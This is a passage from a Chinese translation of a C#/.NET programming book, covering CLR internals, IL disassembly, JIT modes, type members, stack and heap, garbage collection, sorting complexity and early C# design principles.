      Console.ReadLine();
    }
  }
}

要测试它,我们只需按下F5启动按钮,我们就会看到相应的输出(没有什么惊人的,所以我们不包括截图)。

在编辑代码的时候,你会注意到 IDE 编辑器的几个有用特性:语句的着色(区分不同的目的:类、方法、参数、字面量等);IntelliSense,为每个类的成员提供合理的内容;工具提示,指示每个方法的返回类型;字面量或常量的值类型;以及程序中每个成员的引用次数。

从技术上讲,还有数百个其他有用的功能,但这些都是我们将在下一章中测试的内容,当我们进入 C#方面并发现如何证明它们时。

对于这个小程序,检查它产生了什么样的输出会更有趣一些,这些输出我们可以在我们项目的Bin/Debug文件夹中找到。(顺便提醒一下,记得在解决方案资源管理器顶部按下显示所有文件按钮):

使用基本的 Hello World 介绍元数据

如我们所见,生成了两个可执行文件。第一个是你可以直接从其文件夹中启动的独立可执行文件。另一个,扩展名前有.vshost前缀,是 Visual Studio 在调试时使用的,它包含 IDE 所需的额外信息。两者产生相同的结果。

一旦我们有了可执行文件,就是时候将.NET 工具链接到 Visual Studio 了——这将让我们查看我们正在讨论的元数据。

要完成这个操作,我们需要在主菜单中选择工具 | 外部工具选项,然后我们会看到一个配置对话框窗口,其中展示了几个(并且已经调整好的)外部工具;按下新建按钮,并将标题更改为IL 反汇编器,如图所示:

使用基本的 Hello World 介绍元数据

接下来,我们需要配置将要传递给新条目的参数:工具的名称和所需的参数。

你会注意到这个工具有几个版本。这些取决于你的机器。

对于我们的目的,包含以下信息就足够了:

  • 工具的根目录(命名为ILDASM.exe,位于我的机器上C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6.1 Tools

  • 生成的可执行文件的路径,我使用的是由$targetpath表示的预定义宏

由于我们的程序已经编译,我们可以回到工具菜单,并找到一个名为IL 反汇编器的新条目。一旦启动,会出现一个窗口,显示我们程序的 IL 代码,以及一个名为Manifest的引用(显示元数据),我们还可以双击以显示包含此信息的另一个窗口,如图所示:

使用基本的 Hello World 介绍元数据

注意

注意,我已经修改了 ILDASM 的字体大小以提高清晰度。

包含在清单中的信息来自两个来源:IDE 本身,配置为准备程序执行(如果我们更详细地查看窗口内容,我们可以查看大多数行),以及我们可以嵌入到可执行文件清单中的可自定义信息,例如描述、程序标题、公司信息、商标、文化等等。我们将在下一章中探讨如何配置这些信息。

以同样的方式,我们可以继续分析主 ILDASM 窗口中显示的每个单独节点的内容。例如,如果我们想查看与我们的Main入口点链接的 IL 代码,该工具将显示另一个窗口,我们可以欣赏 IL 代码的方面(注意声明 main 旁边的文本cil托管):

使用基本 Hello World 介绍元数据

正如我在截图中所指出的,带有前缀IL_的条目将在执行时转换为机器代码。注意这些指令与汇编语言的相似性。

此外,请注意,这个概念自.NET 的第一个版本以来没有改变:生成 CIL 和机器代码的主要概念和过程基本上与以前相同。

PreJIT、JIT、EconoJIT 和 RyuJIT

我已经提到,将此 IL 代码转换为机器代码的过程由.NET 框架的另一部分执行,通常称为即时编译器JIT)。然而,自从.NET 的最初版本以来,这个过程可以以至少三种不同的方式执行,这就是为什么有三个以 JIT 后缀命名的名称。

为了简化这些过程的细节,我们将说默认的编译方法(以及在一般术语中首选的方法)是 JIT 编译(让我们称之为正常 JIT):

  • 在正常 JIT 模式下,代码按需编译(按需)并且不会丢弃,而是缓存以供以后使用。以这种方式,随着应用程序的持续运行,任何以后需要执行且已经编译的代码只需从缓存区域检索即可。这个过程高度优化,性能损失可以忽略不计。

  • 在 PreJIT 模式下,.NET 以不同的方式运行。要使用 PreJIT 运行,你需要一个名为ngen.exe(代表原生生成)的工具来在第一次执行之前生成原生机器代码。然后,代码被转换,.exe文件被重写为机器代码,这提供了一些优化,尤其是在启动时间方面。

  • 至于 EconoJIT 模式,它主要用于部署在低内存设备上的应用程序,如手机,并且它与 NormalJIT 非常相似,区别在于编译的代码不会被缓存以节省内存。

在 2015 年,微软继续开发一个名为 Roslyn 的特殊项目,这是一个提供额外功能(包括代码管理、编译和部署等)的工具和服务集合。与这个项目(将在第四章中深入探讨,比较编程方法)相关联,另一个 JIT 出现了,称为 RyuJIT,它从一开始就被作为一个开源项目提供,现在默认包含在最新的 Visual Studio 版本中(记住,Visual Studio 2015 更新 1)。

现在,让我引用.NET 团队关于他们新编译器的话:

"RyuJIT 是一个新的、下一代 x64 编译器,比之前的编译器快一倍,这意味着使用 RyuJIT 编译的应用程序启动速度可以快达 30%(JIT 编译器花费的时间只是启动时间的一个组成部分,所以应用程序的启动速度不会因为 JIT 编译器快一倍而快两倍。)此外,新的 JIT 编译器仍然生成在整个服务器进程长时间运行中运行高效的代码。

此图比较了 JIT64 和 RyuJIT 在各种代码样本上的编译时间("吞吐量")比率。每一行显示了 RyuJIT 比 JIT64 快多少倍,所以数字越高越好。"

PreJIT, JIT, EconoJIT, 和 RyuJIT

他们最后说,RyuJIT 将成为他们未来所有 JIT 编译器的基础:x86、ARM、MDIL 以及未来可能出现的任何其他技术。

公共类型系统

在.NET 框架中,公共类型系统CTS)是一组规则和规范,用于以语言无关的方式定义、使用和管理任何.NET 应用程序使用的数据类型。

我们必须理解,类型是任何 CLR 程序的基本构建块。例如,C#、F#和 VB.NET 等编程语言都有几种表达类型的结构(例如,结构体枚举等),但最终,所有这些结构都映射到 CLR 类型定义。

此外,请注意,类型可以声明私有和非私有成员。后一种形式,有时被称为类型的合约(因为它暴露了该类型的可用部分),是我们可以通过编程技术访问的。这就是为什么我们强调了在 CLR 中元数据的重要性。

公共类型系统比大多数编程语言能够处理的内容要广泛得多。除了 CTS 之外,一个名为 CLI 的子集选择 CTS 的一个子集,所有与 CLI 兼容的语言都必须遵守这个子集。这个子集被称为公共语言规范CLS),建议组件编写者通过 CLS 兼容的类型和成员使他们的组件功能可访问。

命名约定、规则和类型访问模式

至于类型的命名规则,这是适用的:任何 CLR 类型名称都有三个部分:程序集名称、可选的命名空间前缀和本地名称。在先前的例子中,ConsoleApplication1是程序集名称,它与命名空间相同(但我们也可以在不出现问题的情况下更改它)。Program是唯一可用的类型的名称,在这个例子中恰好是一个类。因此,这个类的完整名称是ConsoleApplication1.ConsoleApplication1.Program

命名空间是可选的前缀,有助于我们在代码中定义逻辑分区。它们的目的在于避免混淆和成员的最终覆盖,以及允许应用程序代码的更有组织的分布。

例如,在一个典型的应用中(不是之前展示的演示),一个命名空间会描述整个解决方案,这可能被分为几个域(应用被划分的不同区域,有时它们对应于解决方案中的单个项目),每个域很可能包含几个类,每个类都包含几个成员。当你处理包含例如 50 个项目的解决方案时,这种逻辑划分对于保持事物在控制之下非常有帮助。

至于类型成员的访问方式,每个成员都管理它如何被使用以及类型如何工作。因此,每个成员都有自己的访问修饰符(例如,privatepublicprotected),它控制了如何访问它以及该成员是否对其他成员可见。如果我们没有指定任何访问修饰符,则假定它是private

此外,你可以确定是否需要引用类型的实例来引用成员,或者你可以通过其完整名称直接引用这样的成员,而无需调用构造函数并获取类型的实例。在这种情况下,我们在这些成员的声明前加上static关键字。

类型成员

基本上,一个类型接受三种类型的成员:字段、方法和嵌套类型。通过嵌套类型,我们理解的是作为声明类型实现的一部分包含的另一个类型。所有其他类型成员(例如,属性和事件)仅仅是扩展了额外元数据的简单方法。

我知道,你可能正在想,“所以,属性是方法吗?”嗯,是的;一旦编译,生成的代码就变成了方法。它们转换成了name_of_class.set_method(value)name_of_class.get_method()方法,负责分配或读取与方法名称相关联的值。

让我们用一个非常简单的类来回顾一下,这个类定义了一些方法:

class SimpleClass
{
  public string data { get; set; }
  public int num { get; set; }
}

好吧,一旦编译,我们可以像之前一样使用 IL 反汇编器检查生成的 IL 代码,获得以下视图:

类型成员

正如我们所见,编译器将datanum声明为stringint类的实例,并定义了相应的访问这些属性的方法。

CLR 如何在运行时管理类型占用的内存空间?如果你记得,我们在本章开头强调了状态概念的重要性。其意义在这里很清楚:类型中定义的成员类型将决定所需的内存分配。

此外,CLR 将保证,如果我们在声明语句中指定了它,这些成员将被初始化为其默认值:对于数值类型,默认值是零;对于布尔类型,是false,对于对象引用,值是null

我们还可以根据内存分配对类型进行分类:值类型存储在栈中,而引用类型将使用堆。关于这一点将更深入地解释,因为 Visual Studio 2015 的新功能允许我们以许多不同的视角详细分析代码在运行时发生的一切。

Visual Studio 2015 中程序集执行和内存分析的快速提示

到目前为止,我们回顾的所有概念都可以直接使用新的调试工具获得,如下面的截图所示,它显示了之前程序在断点处停止的执行线程:

Visual Studio 2015 中程序集执行和内存分析的快速提示

注意工具提供的信息中的不同图标和列。我们可以区分已知和未知的线程,如果它们被命名(或未命名),它们的位置,甚至ThreadID,如果我们需要一些这里未包含的额外信息,我们可以将其与 SysInternals 工具结合使用:

Visual Studio 2015 中程序集执行和内存分析的快速提示

同样的功能也适用于内存分析。它甚至超越了运行时周期,因为 IDE 能够捕获并分类应用程序执行中运行时所需的内存使用情况,并在我们进行内存快照时为我们准备好。

这样,我们可以进一步审查它,并检查可能的瓶颈和内存泄漏。前面的截图显示了之前的应用程序在运行时使用的托管内存。

本书的不同章节将深入探讨 Visual Studio 2015 中发现的调试功能,因为有许多不同的场景,这种辅助工具将非常有帮助且清晰。

栈和堆

这两个概念的快速回顾可能很有帮助,因为它们超越了.NET 框架,并且是许多语言和平台共有的。

首先,让我们回顾一下本章开头提到的与进程相关的一些概念:当程序开始执行时,它会根据 CLR 从程序集的清单中读取的元数据初始化资源(如图程序集文件结构部分所示)。这些资源将与其他线程共享,这些线程是该进程启动的。

当我们声明一个变量时,栈中会分配一个空间。所以,让我们从以下代码开始:

class Program
{
  static void Main(string[] args)
  {
    Book b;
    b.Title = "The C# Programming Language";
    Console.WriteLine(b.Title);
    Console.ReadLine();
  }
}

class Book
{
  public string Title;
  public int Pages;
}

如果我们尝试编译它,我们会得到一个编译错误消息,指示使用了未分配的变量b。原因是,在内存中,我们只有一个已声明的变量,并且它被分配为 null,因为我们没有实例化b

然而,如果我们使用类的构造函数(默认构造函数,因为该类没有显式构造函数),将行更改为Book b = new Book();,那么我们的代码可以正确编译和执行。

因此,new运算符在这里的作用至关重要。它向编译器指示它必须为Book对象的新实例分配空间,调用构造函数,并且——我们将很快发现——将对象的字段初始化为其默认值类型。

那么,此刻栈内存中有什么?嗯,我们只有一个名为b的声明,其值为一个内存地址:正好是StackAndHeap.Book在堆中声明的地址(我预计将是0x2525910)。

然而,我究竟如何知道这个地址以及执行上下文中发生了什么?让我们看看这个小型应用程序的内部工作原理,因为 Visual Studio 提供了 IDE 本版本中可用的不同调试窗口。为此,我们将在第 14 行Console.ReadLine();处设置一个断点,并重新启动应用程序,以便它触碰到断点。

一旦到达这里,就有大量信息可供参考。在诊断工具窗口(也是 IDE 本版本的新功能),我们可以监视内存使用情况、事件和 CPU 使用率。在内存使用选项卡中,我们可以拍摄正在发生的事情的快照(实际上,我们可以在执行的不同时刻拍摄多个快照并比较它们)。

一旦快照准备就绪,我们将查看经过的时间、对象的大小以及堆大小(以及一些其他选项以改善体验):

栈和堆

注意,我们可以选择按对象大小或堆大小对堆进行排序。此外,如果我们选择其中之一,将出现一个新窗口,显示执行上下文中实际存在的每个组件。

如果我们想确切了解我们的代码正在做什么,我们可以通过选择所需类的名称(在这种情况下为Book)进行过滤,以便仅查看此对象、其实例、在执行时刻存活的对该对象的引用以及大量其他细节。

当然,如果我们查看自动变量局部变量窗口,我们也会发现这些成员的实际值:

栈和堆

如我们在自动变量窗口中所见,对象使用该类型的默认值(对于整数值为 0)初始化了剩余的值(那些由代码未设置的值)。这种分析可执行文件的程度在出现模糊或偶尔发生的错误时非常有帮助。

我们甚至可以通过单击StackAndHeap.Book条目来查看每个成员的实际内存位置:

栈和堆

也许你在想,我们甚至能看到更远的地方吗?(我的意思是执行上下文实际产生的汇编代码)。答案是,是的;我们可以右键单击实例,选择添加监视,然后我们将在该内存位置直接添加一个检查点,如图所示:

栈和堆

当然,汇编代码也是可用的,只要我们在 IDE 中导航到工具 | 选项 | 调试器并启用它。此外,在这种情况下,你应在同一个对话框中启用启用地址级调试。之后,只需转到调试 | 窗口 | 反汇编,你将看到一个带有最低级别(可执行)代码的窗口,标记着断点、行号以及将这些代码翻译成原始 C#语句:

栈和堆

当对Book对象的引用被重新分配或置为 null(并且程序继续运行)时,为Book分配的内存将作为孤儿保留在内存中,这时垃圾收集器就会介入。

垃圾收集

基本上,垃圾收集是从系统中回收内存的过程。当然,这些内存不应该在使用中;也就是说,堆中分配的对象占用的空间不应该有任何变量指向它们,以便清除。

在.NET 框架包含的众多类中,有一个专门用于此过程。这意味着对象的垃圾收集不仅仅是 CLR 执行的自动过程,而是一个真正的、可执行的对象,甚至可以用于我们的代码中(顺便说一下,GC 是这个名称,我们将在尝试在其他章节中优化执行时处理它)。

实际上,我们可以以多种方式看到这一点。例如,假设我们创建一个在循环中连接字符串的方法,并且不对它们做任何其他操作;它只是在过程完成后通知用户:

static void GenerateStrings()
{
  string initialString = "Initial Data-";
  for (int i = 0; i < 5000; i++)
  {
    initialString += "-More data-";
  }
  Console.WriteLine("Strings generated");
}

这里有一点需要注意。由于字符串是不可变的(这意味着它们当然不能被改变),这个过程必须在每个循环中创建新的字符串。这意味着过程将使用大量内存,这些内存可以被回收,因为每个新的字符串都必须重新创建,而旧的字符串就变得无用了。

我们可以使用 CLR Profiler 来查看在运行此应用程序时 CLR 中发生了什么。您可以从clrprofiler.codeplex.com/下载 CLR Profiler,一旦解压,您将看到两个版本(32 位和 64 位)的工具。此工具向我们展示了一组更详细的统计数据,包括 GC 干预。一旦启动,您将看到一个类似这样的窗口:

垃圾收集

在使用启动桌面应用启动应用程序之前,请确保您已勾选分配和调用复选框。启动后(如果应用程序没有停止并且连续运行),没有中断,您将看到一个指向执行各种摘要的新统计窗口。

每个这些摘要都会引导到一个不同的窗口,您可以在其中更详细地分析(甚至使用统计图形)运行时发生的事情,以及垃圾收集器在需要时如何介入。

下图显示了主要的统计窗口(注意有两个部分专门用于 GC 统计和垃圾回收处理统计):

垃圾回收

截图显示了两个与 GC 相关的区域。第一个区域指示了三种类型的收集,命名为Gen 0Gen 1Gen 2。这些名称只是代数的简称。

这是因为 GC 根据对象的引用来标记对象。最初,当 GC 开始工作时,这些没有引用的对象会被清理。那些仍然连接的对象被标记为Gen 1。GC 的第二次审查最初是相似的,但如果它发现仍然有标记为Gen 1的对象持有引用,它们会被标记为Gen 2,而任何有引用的Gen 0对象会被提升到Gen 1。这个过程在应用程序执行期间持续进行。

这也是我们经常读到以下原则适用于可回收对象的原因:

  • 新创建的对象通常很快就会被回收(它们通常在函数调用中创建,并在函数结束时超出作用域)

  • 最老的对象通常持续更久(通常是因为它们持有来自全局或静态类的引用)

第二个区域显示了创建、销毁和存活的句柄数量(由于垃圾收集器的存在而存活)。

第一个(时间线)将显示 GC 操作的精确执行时间统计,以及隐含的.NET 类型:

垃圾回收

如您所见,随着程序的进行,图中显示了一组被回收和/或提升到其他代的对象。

当然,这比那要复杂得多。GC 根据代数有不同的操作频率规则。因此,Gen 0Gen 1访问得更频繁,比Gen 2访问得少得多。

此外,在第二个窗口中,我们可以看到执行过程中隐含的所有机制,这使我们能够以不同的细节级别来获得整体图景,以便从不同的角度进行观察:

垃圾回收

这证明了 GC 的一些特性。首先,一个解除引用的对象不会立即被回收,因为这个过程是周期性的,并且有许多因素会影响这个频率。另一方面,并不是所有的孤儿对象都会同时被回收。

这种情况的一个原因是收集机制本身计算成本较高,这会影响性能,因此建议在大多数情况下,只需让垃圾回收器按照其优化的方式执行其工作。

有没有这个规则的例外?是的;例外情况是那些你预留了大量资源,并确保在退出程序操作的方法或序列之前清理它们的情况。这并不意味着你在循环执行的每次迭代中都调用 GC(由于我们提到的性能原因)。

在这些情况下,可能的解决方案之一是实现IDisposable接口。让我们记住,你可以通过按Ctrl + Alt + J或选择主菜单中的对象资源管理器来查看 CLR 的任何成员。

我们将看到一个包含搜索框的窗口,以便过滤我们的成员,我们将看到此类成员出现的位置:

垃圾回收

注意

注意,此接口在.NET Core 运行时不可用。

因此,我们将重新定义我们的类以实现IDisposable(这意味着我们应该在内部编写一个Dispose()方法来调用 GC)。或者,更好的是,我们可以遵循 IDE 的建议并实现Dispose Pattern,一旦我们表明我们的程序实现了此接口,它就会作为选项提供,如下面的截图所示:

垃圾回收

此外,请记住,在必须显式释放资源的情况下,另一种常见且更推荐的方式是在方法上下文中使用using块。一个典型的场景是使用System.IO命名空间中的某些类打开文件,例如 File。让我们快速回顾一下,以作提醒。

假设你有一个名为Data.txt的简单文本文件,你想打开它,读取其内容,并在控制台中显示。一种快速实现的方法是使用以下代码:

class Program2
{
  static void Main(string[] args)
  {
    var reader = File.OpenText("Data.txt");
    var text = reader.ReadToEnd();
    Console.WriteLine(text);
    Console.Read();
  }
}

这段代码的问题是什么?它运行正常,但它使用了一个外部资源,因为OpenText方法返回一个StreamReader对象,我们稍后使用它来读取内容,并且它没有被显式关闭。我们应该始终记住关闭我们打开并处理的对象。

可能的副作用之一是阻止其他进程访问我们打开的文件。

因此,这些情况的最佳和推荐解决方案是在using块中包含冲突对象的声明,如下所示:

string text;
using (var reader = File.OpenText("Data.txt"))
{
  text = reader.ReadToEnd();
}
Console.WriteLine(text);
Console.Read();

这样,垃圾回收器会自动调用以释放StreamReader管理的资源,无需显式关闭。

最后,总是有另一种强制对象死亡的方法,即使用相应的终结器(一个以~符号开头的函数,与析构函数正好相反)。这不是推荐销毁对象的方法,但它从一开始就存在(让我们记住,Hejlsberg 启发了语言中许多 C++特性的功能)。顺便说一下,实现IDispose的高级模式包括这个选项,以处理更高级的收集场景。

在 CLR 中实现算法

到目前为止,我们已经看到了一些与 CLR 相关的重要概念、技术和工具。换句话说,我们已经了解了引擎的工作原理以及 IDE 和其他工具如何为我们提供支持,以控制和监控幕后发生的事情。

让我们深入了解一些在日常生活中编程中常见的典型结构和算法,以便我们更好地理解.NET 框架为我们提供的资源,以解决常见问题。

我们提到.NET 框架安装了一个包含大量功能的 DLL 库。这些 DLL 按命名空间组织,因此可以单独使用或与其他 DLL 一起使用。

就像其他框架(如 J2EE)一样,在.NET 中,我们将使用面向对象编程范式作为解决编程问题的合适方法。

数据结构、算法和复杂度

在.NET 的初始版本(1.0、1.1)中,我们可以使用几种构造来处理元素集合。所有现代语言都将这些构造作为典型资源,其中一些你肯定应该知道:数组、栈和队列是典型的例子。

当然,.NET 的演变产生了许多新特性,从 2.0 版本的泛型开始,以及其他类似的结构,如字典、ObservableCollections等,在长长的列表中。

但问题是,我们是否正确地使用了这些算法?当你必须使用这些构造并将其推到极限时会发生什么?为了应对这些极限,我们是否有方法找出和测量这些实现,以便我们可以在每种情况下使用最合适的一个?

这些问题带我们来到了复杂度的度量。如今,解决这个问题的最常见方法依赖于一种称为大 O 符号渐近分析的技术。

大 O 符号

大 O 符号大欧米茄符号)是数学学科的一个变体,描述了函数在值趋向特定值或无穷大时的极限行为。当应用于计算机科学时,它用于根据算法对输入大小变化的响应来分类算法。

我们通过两种方式理解“它们如何响应”:时间响应(通常是最重要的)以及空间响应,这可能导致内存泄漏和其他类型的问题(最终包括 DoS 攻击和其他威胁)。

小贴士

到目前为止,最详尽的链接列表,解释了数千个已编目算法的解释,由NIST国家标准与技术研究院)发布,可在xlinux.nist.gov/dads/找到。

表达响应与输入(O 表示法)的关系的方式是一个如O([公式])的公式,其中公式是一个数学表达式,表示随着输入的增长,算法执行的次数,即增长。许多算法都是O(n)*类型,它们被称为线性,因为增长与输入的数量成比例。换句话说,这种增长可以用一条直线表示(尽管它从不完全准确)。

一个典型的例子是对排序算法的分析,NIST 提到了一个典型情况:快速排序的平均时间复杂度为O(n log n),冒泡排序为O(n²)。这意味着在桌面计算机上,快速排序的实现可以击败在超级计算机上运行的冒泡排序,当要排序的数字超过某个点时。

注意

例如,为了排序 1,000,000 个数字,快速排序平均需要 20,000,000 步,而冒泡排序需要 1,000,000,000,000 步!

下图显示了四种经典排序算法(冒泡、插入、选择和希尔)的时间增长。如图所示,直到元素数量超过 25,000,行为相当线性。希尔算法获胜,其最坏情况复杂度为O(n¹.5)。请注意,快速排序的因子较小,为(n log n)

不幸的是,没有机械的方法来计算大 O,可以找到的只有一些更多或更少的经验方法。

然而,我们可以使用一些定义良好的表格来分类算法,并给出O(公式),以了解其使用所能获得的结果,例如维基百科上发布的表格,可在en.wikipedia.org/wiki/Big_O_notation#Orders_of_common_functions找到:

大 O 表示法

从.NET 框架的角度来看,我们可以使用所有链接到System.Collections.Generics命名空间且保证在大多数情况下优化性能的集合。

最常见排序算法的性能方法

DEMO01-04中,您将找到一个.NET 程序,该程序比较了三种经典算法(冒泡、归并和堆)与使用整数在List<T>集合中实现的算法。当然,这种方法是一种实用且日常的方法,而不是科学方法,对于科学方法,生成的数字应该是均匀随机生成的(参考 Rasmus Faber 对此问题的回答,见stackoverflow.com/questions/609501/generating-a-random-decimal-in-c/610228#610228)。

此外,还应该考虑生成器本身。对于测试这些算法等实际用途,.NET 框架中包含的生成器做得相当不错。然而,如果您需要或对严肃的方法感兴趣,或许最被记录和测试的方法是 Donald Knuth 的光谱测试,该测试发表在他的世界著名作品《计算机程序设计艺术,第 2 卷:半数值算法(第 2 版)》的第二卷中,由Knuth, Donald E.编写,由 Addison-Wesley 出版。

话虽如此,.NET 中包含的随机生成器类可以为我们提供足够好的结果。至于这里针对的排序方法,我选择了与极端情况相比最常推荐的那些:性能最慢的一个(具有O(n²)性能的冒泡排序)和包含在System.Collections.Generic命名空间中的List<T>类中(在内部,这是一个快速排序)。在中间,对堆和归并方法进行了比较——所有这些方法在性能上都被认为是O(n log n)

之前提到的演示遵循推荐的实现,并对用户界面进行了一些更新和改进,这是一个简单的 Windows Forms 应用程序,因此您可以彻底测试这些算法。

此外,请注意,您应该多次执行这些测试,使用不同数量的输入,以真正了解这些方法的性能,并且.NET 框架是用针对整数、字符串和其他内置类型的优化排序方法构建的,避免了调用委托进行比较等开销。因此,与内置类型相比,典型的排序算法通常要慢得多。

例如,对于 30,000 个整数,我们得到以下结果:

最常见排序算法的性能方法

如您所见,当总数超过 10,000 时,冒泡排序(即使是经过优化的冒泡排序方法)的结果要差得多。当然,对于较小的数字,差异会减小,如果程序不超过 1,000,对于大多数实际用途来说可以忽略不计。

作为一项可选练习,我们留给您实现这些算法以进行字符串排序的实现。

小贴士

您可以使用这些程序中的一些来快速生成字符串:

int rndStringLength = 14; //max:32-> Guid limit
Guid.NewGuid().ToString("N").Substring(0, rndStringLength);

这个建议来自 Ranvir 在stackoverflow.com/questions/1122483/random-string-generator-returning-same-string

public string RandomStr()
{
  string rStr = Path.GetRandomFileName();
  rStr = rStr.Replace(".", ""); // Removing the "."
  return rStr;
}

记住,在这种情况下,你应该使用合并和堆算法的泛型版本,以便可以独立于输入值调用相同的算法。

出现在 4.5x、4.6 和.NET Core 1.0 和 1.1 版本中的相关功能

在.NET 框架最新版本中可以找到的一些新功能,我们尚未提及,其中一些与 CLR(以及以下章节中将要涵盖的许多其他内容)相关,而在与.NET 核心相关的功能中,我们可以在接下来的几节中找到提到的那些。

.NET 4.5.x

我们可以将.NET 4.5 中出现的主要改进和新功能总结如下:

  • 减少了系统重启

  • 64 位平台上的大于 2GB(GB)的数组

  • 服务器背景垃圾收集的改进(对性能和内存管理有影响)

  • 在多核处理器上可选的背景 JIT 编译(显然可以提高应用程序性能)

  • 新的控制台(System.Console)对 Unicode(UTF-16)编码的支持

  • 在检索资源时的性能改进(特别是对桌面应用程序非常有用)

  • 可以自定义反射上下文,以便它覆盖默认行为

  • 在 C#和 Visual Basic 语言中添加了新的异步功能,以便添加基于任务的模型来执行异步操作

  • 改进了对并行计算的支持(性能分析、控制和调试)

  • 在垃圾收集期间可以显式压缩大对象堆(LOH

.NET 4.6(与 Visual Studio 2015 对齐)

在.NET 4.6 中,新增功能和改进并不多,但它们很重要:

  • 64 位 JIT 编译器用于托管代码(在测试版中称为 RyuJIT)。

  • 集合加载器改进(与 NGEN 图像协同工作;减少虚拟内存并节省物理内存)。

  • 基类库(BCLs)中的许多更改:

  • .NET Native,一种新技术,将应用程序编译成本地代码而不是 IL。它们产生的应用程序具有更快的启动和执行时间等优势。

    注意

    .NET Native 在运行时进行了重大改进,但也存在一些缺点,以及其他可能影响应用程序行为和编码方式的考虑因素。我们将在其他章节中更深入地讨论这个问题。

  • 开源.NET 框架包(如不可变集合、SIMD API 和网络 API,现在可在 GitHub 上找到)

.NET Core 1.0

.NET Core 是.NET 的新版本,旨在在任何操作系统(Windows、Linux、MacOS)上执行,可用于设备、云和嵌入式/IoT 场景。

它使用一组新的库,正如 Rich Lander 在官方文档指南(docs.microsoft.com/en-us/dotnet/articles/core/)中提到的,最能定义这个版本的特征集是:

.NET Core 1.1

增加了 Linus Mint 18、Open Suse 42.1、MacOS 10.12 和 Windows Server 2016 的支持,并支持并行安装。

新 API(超过 1000 个)和错误修复。

新的文档可在docs.microsoft.com/en-us/dotnet/找到。

ASP.NET Core 1.1 的新版本。

在本书的结尾,我们将介绍.NET Core,以便您对其行为和优势有一个了解,特别是在跨平台领域。

摘要

CLR 是.NET 框架的核心,我们已经回顾了其架构、设计和实现背后的某些重要概念,以便更好地理解我们的代码是如何工作的,以及如何在寻找可能的问题时进行分析。

因此,总体来说,在本章中,我们看到了一些重要计算术语和概念的注释(包括评论、图形和图表)提醒,这些术语和概念我们将在书中找到,并且基于这个基础,我们简要介绍了依赖于 .NET 框架创建及其父辈的动机。

接下来,我们介绍了 CLR 的内部结构以及如何使用 CLR 自身提供的工具和 Visual Studio 2015 更新 1 中可用的其他工具来观察其运行情况。

第三个要点是对算法复杂性的基本回顾,包括大 O 表示法和我们在实践中如何通过测试在 C# 中实现的某些排序方法来衡量它,以便结束本章,简要列出最新版本的 .NET 提供的最相关特性,这些特性将在本书的不同章节中介绍。

在下一章中,我们将从 C# 语言的本质开始深入探讨(不要错过 Hejlsberg 创建代理的真实原因),以及它是如何通过泛型、lambda 表达式、匿名类型和 LINQ 语法来简化并巩固编程技术的。

第二章:C# 和 .NET 的核心概念

本章涵盖了 C# 和 .NET 的核心概念,从其初始版本和创建背后的主要动机开始,并涵盖了语言在 2.0 和 3.0 版本中出现的新特性。

我们将通过一些简短的小代码片段来展示所有主要概念,这些代码足够短,便于理解并易于复制。

在本章中,我们将涵盖以下主题:

  • C# 及其在微软开发生态系统中的作用

  • 强类型语言和弱类型语言之间的区别

  • 2.0 和 3.0 版本的演变

  • 泛型

  • Lambda 表达式

  • LINQ

  • 扩展方法

C# 语言的不同之处

我有机会与 Hejlsberg 几次讨论 C# 语言及其创建时的初始目的和要求,以及哪些其他语言启发了他或对他的想法有所贡献。

第一次谈话是在 2001 年的 Tech-Ed 上(在西班牙巴塞罗那),我问他关于他自己的语言原则以及它与其他语言的不同之处。他首先说,创造这种语言不仅仅是他的功劳,还有一群人,特别是 Scott WiltamuthPeter GoldePeter SollichEric Gunnerson

注意

关于该主题最早出版的书籍之一是,《程序员 C# 入门》,作者为 Gunnerson's.E.,APress,2000 年)。

关于原则,他提到了以下几点:

“C# 与这些其他语言(尤其是 Java)之间的一个关键区别在于,我们在设计上试图与 C++ 保持更接近。C# 从 C++ 中直接借用了大多数运算符、关键字和语句。但除了这些更传统的语言问题之外,我们的一个关键设计目标是使 C# 语言面向组件,向语言本身添加你在编写组件时所需的所有概念。例如属性、方法、事件、属性和文档等都是一等语言结构。”

他还提到:

“当你用 C# 编写代码时,你将所有内容都写在一个地方。不需要头文件、IDL 文件(接口定义语言)、GUID 和复杂的接口。”

这意味着,如果你处理的是一个自包含的单元(让我们记住清单的作用,它可能嵌入在程序集内),你就可以以这种方式编写自描述的代码。在这种模式下,你还可以以各种方式扩展现有技术,正如我们将在示例中看到的那样。

语言:强类型、弱类型、动态和静态

C# 语言是一种强类型语言:这意味着任何尝试将错误类型的参数作为参数传递,或将值赋给无法隐式转换的变量,都将生成编译错误。这避免了在其他语言中仅在运行时才会发生的许多错误。

此外,当我们提到动态时,我们指的是那些在运行时应用其规则的编程语言,而静态语言则在编译时应用其规则。JavaScript 或 PHP 就是前者的好例子,而 C/C++ 则是后者的例子。如果我们对这个情况做一个图形表示,可能会得到以下图示:

编程语言:强类型、弱类型、动态和静态

在图中,我们可以看到 C# 明显是强类型的,但它比 C++ 或 Scala 等语言要动态得多。当然,有几个标准可以用来对语言进行分类,以确定它们的类型(弱类型与强类型)以及它们的动态性(动态与静态)。

注意,这也在 IDE 中有影响。编辑器可以告诉我们每种情况下期望的类型,如果你使用动态声明,如 var,等式的右侧(如果有)将被评估,并且对于每个声明,我们将看到计算出的值:

编程语言:强类型、弱类型、动态和静态

即使在 .NET 世界之外,Visual Studio 的 IDE 现在也能在使用 TypeScript 等语言时提供强类型和 Intellisense 体验,TypeScript 是 JavaScript 的超集,可以编译(转换为)纯 JavaScript,但可以使用与 C# 或任何其他 .NET 语言相同的编码体验来编写。

它可以作为独立的项目类型使用,如果你对此感兴趣,最新版本是 TypeScript 2.0,它最近刚刚发布(你可以在 blogs.msdn.microsoft.com/typescript/ 查看其新功能的详细描述)。

如我们将在本章后面看到的那样,Intellisense 对于 LINQ 语法至关重要,在许多表达式中,它会返回一个新的(不存在的)类型,如果我们使用 var 声明,编译器会自动将其分配给正确的类型。

主要区别

因此,回到标题,是什么让 C# 与众不同?我将指出五个核心点:

  • 一切都是对象(我们在 第一章中提到过,CLR 内部)。其他语言,如 Smalltalk、Lisp 等,在此之前就已经这样做,但由于不同的原因,性能损失相当严重。

  • 如你所知,只需查看对象资源管理器,就能检查一个对象来自哪里。检查基本值,如 intString 是一个好习惯,它们不过是 System.Int32System.String 的别名,并且两者都来自对象,如下面的截图所示:主要区别

  • 通过装箱和拆箱技术,任何值类型都可以转换为对象,而对象的值也可以转换为简单的值类型。

  • 这些转换可以通过将类型转换为对象(反之亦然)以这种方式进行:

    // Boxing and Unboxing
